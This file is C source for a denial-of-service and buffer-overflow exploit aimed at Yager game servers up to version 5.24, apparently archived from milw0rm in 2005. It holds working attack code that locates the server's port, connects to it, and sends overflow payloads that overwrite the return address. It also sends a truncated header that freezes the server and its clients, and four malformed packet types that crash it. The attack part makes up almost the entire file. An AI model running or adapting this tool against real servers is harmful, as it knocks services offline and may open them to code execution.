352 lines
No EOL
11 KiB
C
352 lines
No EOL
11 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ (HEADSZ + 65536)
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#define PORT 34855
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#define TIMEOUT 3
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#define HEADSZ 10
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#define EIP "\xde\xc0\xad\xde"
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#define CRASHSZ 100
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#define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
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"\x01\x00\x00\x00" /* team */ \
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"\xff\xff\xff\xff" /* nickname size, ignored! */ \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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EIP \
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"aaaaaaaaaaaaaaaa\0"
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#define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aa" EIP
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#define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
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p += (len - tmp) + 1;
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#define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
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< 0) std_err();
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#define RECVFROM if(timeout(sd) < 0) { \
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fputs("\nError: socket timeout, no reply received\n\n", stdout); \
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exit(1); \
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} \
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len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
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if(len < 0) std_err();
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#define SEND(x,y) if(send(sd, x, y, 0) \
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< 0) std_err();
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u_long resolv(char *host);
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int timeout(int sock);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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len,
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attack,
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tmp,
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autoport = 1;
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u_short port = PORT;
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u_char *buff,
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info[] =
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"Y_NET_YAGER_CLIENT\0"
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"\x00\x00" "\x00\x00",
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*p;
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struct yager_head {
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u_long type;
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u_short size;
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u_short pck1;
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u_short pck2;
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} *yh;
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setbuf(stdout, NULL);
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fputs("\n"
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"Yager <= 5.24 multiple vulnerabilities "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\n"
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"Usage: %s <attack> <host> [port(auto)]\n"
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"\n"
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"Attacks:\n"
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" 1 = nickname buffer-overflow\n"
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" 2 = big data buffer-overflow\n"
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" 3 = freeze of server and connected clients\n"
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" 4 = crash using type 0x1d (in 0x0050e970)\n"
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" 5 = crash using type 0x22 (in 0x004fd2b8)\n"
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" 6 = crash using type 0x24 (in 0x004fd2f5)\n"
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" 7 = crash using type 0x28 (in 0x004b0f1b)\n"
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"\n", argv[0]);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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if(argc > 3) {
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autoport = 0;
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port = atoi(argv[3]);
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}
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peer.sin_addr.s_addr = resolv(argv[2]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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buff = malloc(BUFFSZ);
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if(!buff) std_err();
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if(autoport) {
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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fputs("- request informations:\n", stdout);
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*(u_short *)(info + 19) = ~time(NULL);
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SENDTO(info);
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RECVFROM;
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close(sd);
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p = buff + 19;
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port = ntohs(*(u_short *)p);
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printf("\n Server port %d\n", port);
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p += 2;
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SHOW(" Map ");
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printf(" Version %d.%d\n", p[1], p[0]);
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p += 2;
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SHOW(" Server name ");
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p += 4;
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printf(" Players %d / %d\n\n", p[1], p[0]);
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peer.sin_port = htons(port);
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}
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attack = atoi(argv[1]);
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if(attack > 7) {
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fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
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exit(1);
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}
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sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sd < 0) std_err();
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if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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yh = (struct yager_head *)buff;
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yh->pck1 = tmp = ~time(NULL) & 0xffff;
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yh->pck2 = 0;
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if(attack == 1) {
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yh->type = 0x1e;
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memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
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yh->size = sizeof(NICKBOF) - 1;
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fputs("- send long data block for nickname buffer-overflow\n", stdout);
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} else if(attack == 2) {
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yh->type = 0x00; // almost any other type is ok
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memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
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yh->size = sizeof(PCKBOF) - 1;
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fputs("- send long data block for packet buffer-overflow\n", stdout);
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} else if(attack == 3) {
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yh->type = 0x1b;
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yh->size = 0;
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printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
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tmp %= HEADSZ;
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if(tmp <= 0) tmp = 1;
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SEND(buff, tmp);
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fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
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fgetc(stdin);
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close(sd);
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return(0);
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} else {
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if(attack == 4) {
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yh->type = 0x1d;
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} else if(attack == 5) {
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yh->type = 0x22;
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} else if(attack == 6) {
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yh->type = 0x24;
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} else if(attack == 7) {
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yh->type = 0x28;
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}
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memset(buff + HEADSZ, 0xff, CRASHSZ);
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yh->size = CRASHSZ;
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printf("- send crash data with type 0x%08lx\n", yh->type);
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}
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SEND(buff, yh->size + HEADSZ);
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fputs("- check server status\n", stdout);
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if(!timeout(sd)) {
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if(recv(sd, buff, BUFFSZ, 0) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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fputs("\nServer doesn't seem vulnerable\n\n", stdout);
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}
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} else {
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fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout);
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}
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close(sd);
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return(0);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2005-04-14]
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